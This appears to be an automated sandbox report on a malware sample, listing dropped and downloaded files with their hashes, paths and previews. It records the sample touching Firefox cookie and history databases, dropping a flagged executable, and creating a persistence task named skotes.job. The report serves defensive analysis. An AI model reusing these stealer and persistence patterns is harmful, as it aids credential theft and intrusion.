C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\f0e692bf-4e6a-4d08-b3da-1425d291b882.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir6836_941427057\56ea9ca5-1bda-4802-842e-f45c0748c085.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir6836_941427057\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir6836_941427057\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir6836_941427057\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir6836_941427057\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsDBFBFBGDBK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1925632
Entropy (8bit):	7.949330278246305
Encrypted:	false
SSDEEP:	49152:kCSkkgCY8/d3hr9tWCT17LMUVgXHqUlOosPSYxtT972HXrKpaV4nEaEb:kmeY89DzGaUDsPZf97EXrR4EaE
MD5:	3C271702F5EEBC60E590F6803D8D2238
SHA1:	488B5450A017AB4F78D50A1C5ADB1C5B54643458
SHA-256:	EA5AFBA952C7C52E7FF10D775CECA244907B4699642DDE81D0DCA9D6814CE3D9
SHA-512:	DE4DFF6C44EBEE7A5B3BC8060A39167343CC9E5FB7D6555FF72289C6CA7C9DAF25BD8E19378430509329D20035F01F9D0D9A14B22E7D756621393B53233DA935
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@L...........@..........................pL......P....@.................................W...k.......H.....................L.............................@.L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .0+.........................@...ctjnidaj.P....1..D..................@...mpxgbiue.....0L......:..............@....taggant.0...@L.."...@..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsDBFBFBGDBK.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.470475973060503
Encrypted:	false
SSDEEP:	6:yRkDZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lBi0ut0:yR4lvJQ1CGAFMkXd8kX+VBSt0
MD5:	B1CAF3468CEE21B648628787846184A2
SHA1:	5E4CAD3BA80192E9F05E370BC7A8679B0CFC311F
SHA-256:	64518F99210D0163A7F0799E06EA3FA8CC1188B5E806D6F305A10D9723F8FC48
SHA-512:	6350E250EB82541B9D9DA08B82538E2093A1E154E6E9E1EC1187D018A90FE620C6B51CA2877C135FF64F406C3C4EDAF2349B11B9D3EB0E7EC55E8EADCDE1948E
Malicious:	false
Preview:	.....y}....C.3Y...S.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (816)
Category:	downloaded
Size (bytes):	821
Entropy (8bit):	5.148460076830361
Encrypted:	false
SSDEEP:	24:pEjJbhB1OA+4/BHslgT9lCuABuoB7HHHHHHHYqmffffffo:Q3OAdKlgZ01BuSEqmffffffo
MD5:	C7ED674CD6766CACD9A3835AC1CE4B15
SHA1:	70042DA38F586F134CFD509D09717EE0549AE02F
SHA-256:	29F5972605A2FE069200F3DCC27AF03395E60F9DACFA9FBC7AC69FAFDBEAFD8F
SHA-512:	E40265D2B486E28D4108EDB62AD41EEB60A41F1A2504E58F39FE8BCE1FAA2C5F5B008FCBD11E162471E1BC1A383463AF67B99B94AD7B692197C3D9E2DE9A1816
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["blackrock bitcoin etf","stranger things new season","costa rica liberia airport closure","green bay packers blocked field goal","winter storm warning oregon","pokemon scarlet shiny rayquaza raid","lawsonibacter asaccharolyticus abundance","eiichiro oda health"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132981
Entropy (8bit):	5.434848840976816
Encrypted:	false
SSDEEP:	3072:fjkXyPqO7UX1Hme9kZbs4Voc5WSnXqwQ2i6o:f0yWFHrp4Voc5WSnawQ8o
MD5:	C28365B49123B5A798D8CC6B4F0F7C95
SHA1:	C1BEF7892B933B3612FAE19472CCC707830FC368
SHA-256:	3FCEF44989F58D485B15E2CF83D893C441DDF30E5A781C81481CDE3AA82405DB
SHA-512:	17C648A594504624A344B9EE89A415370DCDAFBC1078622F209129F5015CDE459959DB2F7B01DDFE9B6BCF3189B798A3185A0E5CA678CB4B3FB991C4C4C1B5C2
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
